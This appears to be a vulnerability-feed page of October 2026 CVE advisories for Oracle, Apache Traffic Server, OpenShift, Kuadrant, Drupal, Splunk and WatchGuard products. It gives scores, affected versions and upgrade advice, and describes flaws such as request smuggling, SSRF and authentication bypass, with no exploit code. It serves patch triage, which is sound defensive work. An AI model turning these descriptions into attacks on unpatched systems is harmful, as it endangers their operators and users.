Vulnerability in Oracle Secure Backup (component: Device Management and Support).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Secure Backup executes to compromise Oracle Secure Backup.  Successful attacks of this vulnerability can result in takeover of Oracle Secure Backup. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Secure Backup (component: Device Management and Support).
https://kevwire.com/record/CVE-2026-101481
Vulnerability in Oracle Secure Backup (component: Device Management and Support). (Oct 20, 2026).
Vulnerability in Oracle Secure Backup (component: Device Management and Support).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Secure Backup executes to compromise Oracle Secure Backup.  While the vulnerability is in Oracle Secure Backup, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Secure Backup. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101481).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101481&date=2026-10-25).
Sources:
NVD CVE-2026-101481: https://nvd.nist.gov/vuln/detail/CVE-2026-101481
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101481&date=2026-10-25
Vulnerability in Oracle Secure Backup (component: Device Management and Support).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Secure Backup executes to compromise Oracle Secure Backup.  While the vulnerability is in Oracle Secure Backup, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Secure Backup. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When a client sends a POST with Expect: 100-continue and the origin answers before reading the body, Apache Traffic Server parses the unread body left on the client connection as...
https://kevwire.com/record/CVE-2025-55702
When a client sends a POST with Expect: 100-continue and the origin answers before reading the body, Apache Traffic Server parses the unread body left on the client connection as... (Oct 21, 2026).
When a client sends a POST with Expect: 100-continue and the origin answers before reading the body, Apache Traffic Server parses the unread body left on the client connection as the next request. An attacker behind a front-end proxy that shares connections to Traffic Server can use this to smuggle requests past the front end and desynchronize responses for other users.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.
CVSS 7.0 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-55702).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-55702&date=2026-10-25).
Sources:
NVD CVE-2025-55702: https://nvd.nist.gov/vuln/detail/CVE-2025-55702
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-55702&date=2026-10-25
When a client sends a POST with Expect: 100-continue and the origin answers before reading the body, Apache Traffic Server parses the unread body left on the client connection as the next request. An attacker behind a front-end proxy that shares connections to Traffic Server can use this to smuggle requests past the front end and desynchronize responses for other users.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Traffic Server can return an origin connection to the shared pool while the origin is still waiting on a request body the client declared but never fully sent, including...
https://kevwire.com/record/CVE-2025-31699
Apache Traffic Server can return an origin connection to the shared pool while the origin is still waiting on a request body the client declared but never fully sent, including... (Oct 21, 2026).
Apache Traffic Server can return an origin connection to the shared pool while the origin is still waiting on a request body the client declared but never fully sent, including when the client used Expect: 100-continue. The origin then reads a later request on that connection as leftover body data, which lets an attacker smuggle requests past ATS access controls, disrupt other users' requests, or poison the cache.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.
CVSS 9.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-31699).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-31699&date=2026-10-25).
Sources:
NVD CVE-2025-31699: https://nvd.nist.gov/vuln/detail/CVE-2025-31699
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-31699&date=2026-10-25
Apache Traffic Server can return an origin connection to the shared pool while the origin is still waiting on a request body the client declared but never fully sent, including when the client used Expect: 100-continue. The origin then reads a later request on that connection as leftover body data, which lets an attacker smuggle requests past ATS access controls, disrupt other users' requests, or poison the cache.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in the OpenShift console. An authenticated console user can exploit a Server-Side Request Forgery (SSRF) vulnerability by providing a specially crafted Helm chart...
https://kevwire.com/record/CVE-2026-75888
A flaw was found in the OpenShift console. An authenticated console user can exploit a Server-Side Request Forgery (SSRF) vulnerability by providing a specially crafted Helm chart... (Oct 12, 2026).
A flaw was found in the OpenShift console. An authenticated console user can exploit a Server-Side Request Forgery (SSRF) vulnerability by providing a specially crafted Helm chart URL without proper validation. This allows the user to make the console pod fetch arbitrary URLs, potentially leading to the disclosure of sensitive information through error messages or enabling blind port scanning within the cluster.
CVSS 7.7 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75888).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75888&date=2026-10-25).
Sources:
NVD CVE-2026-75888: https://nvd.nist.gov/vuln/detail/CVE-2026-75888
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75888&date=2026-10-25
A flaw was found in the OpenShift console. An authenticated console user can exploit a Server-Side Request Forgery (SSRF) vulnerability by providing a specially crafted Helm chart URL without proper validation. This allows the user to make the console pod fetch arbitrary URLs, potentially leading to the disclosure of sensitive information through error messages or enabling blind port scanning within the cluster.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in the internal WebAssembly (WASM) shim used by the Kuadrant operator. When generating the CEL predicate that determines whether Gateway-level authentication and...
https://kevwire.com/record/CVE-2026-108334
A flaw was found in the internal WebAssembly (WASM) shim used by the Kuadrant operator. When generating the CEL predicate that determines whether Gateway-level authentication and... (Oct 15, 2026).
A flaw was found in the internal WebAssembly (WASM) shim used by the Kuadrant operator. When generating the CEL predicate that determines whether Gateway-level authentication and rate limiting should run, the shim does not correctly escape values from HTTPRoute match fields. A user who can create or modify an HTTPRoute attached to a shared Gateway can provide a crafted path, header, or query match value that causes the predicate to skip those checks. The request is still forwarded to the route’s backend.
CVSS 7.4 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108334).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108334&date=2026-10-25).
Sources:
NVD CVE-2026-108334: https://nvd.nist.gov/vuln/detail/CVE-2026-108334
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108334&date=2026-10-25
A flaw was found in the internal WebAssembly (WASM) shim used by the Kuadrant operator. When generating the CEL predicate that determines whether Gateway-level authentication and rate limiting should run, the shim does not correctly escape values from HTTPRoute match fields. A user who can create or modify an HTTPRoute attached to a shared Gateway can provide a crafted path, header, or query match value that causes the predicate to skip those checks. The request is still forwarded to the route’s backend.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Drupal Webform allows Code Injection.
https://kevwire.com/record/CVE-2026-96355
Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Drupal Webform allows Code Injection. (Oct 22, 2026).
Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Drupal Webform allows Code Injection. This issue affects Webform versions: from 0.0.0 to 6.2.12, from 6.3.0 to 6.3.1.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96355).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96355&date=2026-10-25).
Sources:
NVD CVE-2026-96355: https://nvd.nist.gov/vuln/detail/CVE-2026-96355
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96355&date=2026-10-25
Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Drupal Webform allows Code Injection. This issue affects Webform versions: from 0.0.0 to 6.2.12, from 6.3.0 to 6.3.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise SCM Strategic Sourcing product of Oracle PeopleSoft (component: Strategic Sourcing).
https://kevwire.com/record/CVE-2026-91478
Vulnerability in the PeopleSoft Enterprise SCM Strategic Sourcing product of Oracle PeopleSoft (component: Strategic Sourcing). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise SCM Strategic Sourcing product of Oracle PeopleSoft (component: Strategic Sourcing).   The supported version that is affected is 9.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise SCM Strategic Sourcing.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise SCM Strategic Sourcing. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91478).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91478&date=2026-10-25).
Sources:
NVD CVE-2026-91478: https://nvd.nist.gov/vuln/detail/CVE-2026-91478
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91478&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise SCM Strategic Sourcing product of Oracle PeopleSoft (component: Strategic Sourcing).   The supported version that is affected is 9.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise SCM Strategic Sourcing.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise SCM Strategic Sourcing. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Splunk Enterprise versions below 10.4.4 and 10.2.8, a user who does not hold the "admin" or "power" Splunk roles could derive the PostgreSQL sidecar database superuser password...
https://kevwire.com/record/CVE-2026-76298
In Splunk Enterprise versions below 10.4.4 and 10.2.8, a user who does not hold the "admin" or "power" Splunk roles could derive the PostgreSQL sidecar database superuser password... (Oct 21, 2026).
In Splunk Enterprise versions below 10.4.4 and 10.2.8, a user who does not hold the "admin" or "power" Splunk roles could derive the PostgreSQL sidecar database superuser password and run arbitrary operating system commands as the user account running Splunk Enterprise on search head cluster members.
The vulnerability is possible because the PostgreSQL sidecar service derives a privileged database password from the search head cluster identifier that appears in search job logs.
For more information see About configuring role-based user access (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.2/manage-splunk-platform-users-and-roles/about-configuring-role-based-user-access), server.conf (https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.2/configuration-file-reference/10.2.0-configuration-file-reference/server.conf), and Sidecar configuration settings (https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.4/splunk-sidecars/sidecar-configuration-settings) in the Splunk documentation.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76298).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76298&date=2026-10-25).
Sources:
NVD CVE-2026-76298: https://nvd.nist.gov/vuln/detail/CVE-2026-76298
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76298&date=2026-10-25
In Splunk Enterprise versions below 10.4.4 and 10.2.8, a user who does not hold the "admin" or "power" Splunk roles could derive the PostgreSQL sidecar database superuser password and run arbitrary operating system commands as the user account running Splunk Enterprise on search head cluster members.
The vulnerability is possible because the PostgreSQL sidecar service derives a privileged database password from the search head cluster identifier that appears in search job logs.
For more information see About configuring role-based user access (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.2/manage-splunk-platform-users-and-roles/about-configuring-role-based-user-access), server.conf (https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.2/configuration-file-reference/10.2.0-configuration-file-reference/server.conf), and Sidecar configuration settings (https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.4/splunk-sidecars/sidecar-configuration-settings) in the Splunk documentation.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Splunk Enterprise versions below 10.4.3, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the edit_manager_xml capability could execute arbitrary operating-system...
https://kevwire.com/record/CVE-2026-76293
In Splunk Enterprise versions below 10.4.3, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the edit_manager_xml capability could execute arbitrary operating-system... (Oct 21, 2026).
In Splunk Enterprise versions below 10.4.3, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the edit_manager_xml capability could execute arbitrary operating-system commands using the permissions of the user account running Splunk Enterprise by opening the affected configuration in the Splunk Web Manager page. 
The vulnerability is possible because Splunk Web evaluates user-controlled expressions from Manager XML without sufficiently restricting the expression syntax.
CVSS 7.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76293).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76293&date=2026-10-25).
Sources:
NVD CVE-2026-76293: https://nvd.nist.gov/vuln/detail/CVE-2026-76293
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76293&date=2026-10-25
In Splunk Enterprise versions below 10.4.3, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the edit_manager_xml capability could execute arbitrary operating-system commands using the permissions of the user account running Splunk Enterprise by opening the affected configuration in the Splunk Web Manager page. 
The vulnerability is possible because Splunk Web evaluates user-controlled expressions from Manager XML without sufficiently restricting the expression syntax.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An incorrect permission assignment vulnerability in the WatchGuard Agent's log directory allows a local, authenticated non-administrative user to create, modify, append to, or...
https://kevwire.com/record/CVE-2026-115253
An incorrect permission assignment vulnerability in the WatchGuard Agent's log directory allows a local, authenticated non-administrative user to create, modify, append to, or... (Oct 22, 2026).
An incorrect permission assignment vulnerability in the WatchGuard Agent's log directory allows a local, authenticated non-administrative user to create, modify, append to, or delete the agent's log files and write other files into the directory. This allows an attacker to tamper with or destroy the agent's security logs and stage further local attacks by placing executable content in a directory owned by a privileged service.
CVSS 7.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115253).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115253&date=2026-10-25).
Sources:
NVD CVE-2026-115253: https://nvd.nist.gov/vuln/detail/CVE-2026-115253
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115253&date=2026-10-25
An incorrect permission assignment vulnerability in the WatchGuard Agent's log directory allows a local, authenticated non-administrative user to create, modify, append to, or delete the agent's log files and write other files into the directory. This allows an attacker to tamper with or destroy the agent's security logs and stage further local attacks by placing executable content in a directory owned by a privileged service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Test Framework).
https://kevwire.com/record/CVE-2026-101431
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Test Framework). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Test Framework).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data as well as  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).
CVSS 8.7 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101431).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101431&date=2026-10-25).
Sources:
NVD CVE-2026-101431: https://nvd.nist.gov/vuln/detail/CVE-2026-101431
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101431&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Test Framework).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data as well as  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).
https://kevwire.com/record/CVE-2026-101420
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  While the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data as well as  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).
CVSS 9.6 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101420).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101420&date=2026-10-25).
Sources:
NVD CVE-2026-101420: https://nvd.nist.gov/vuln/detail/CVE-2026-101420
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101420&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  While the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data as well as  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: PsAdmin).
https://kevwire.com/record/CVE-2026-101416
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: PsAdmin). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: PsAdmin).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the PeopleSoft Enterprise PeopleTools executes to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101416).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101416&date=2026-10-25).
Sources:
NVD CVE-2026-101416: https://nvd.nist.gov/vuln/detail/CVE-2026-101416
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101416&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: PsAdmin).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the PeopleSoft Enterprise PeopleTools executes to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).
https://kevwire.com/record/CVE-2026-101411
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101411).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101411&date=2026-10-25).
Sources:
NVD CVE-2026-101411: https://nvd.nist.gov/vuln/detail/CVE-2026-101411
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101411&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

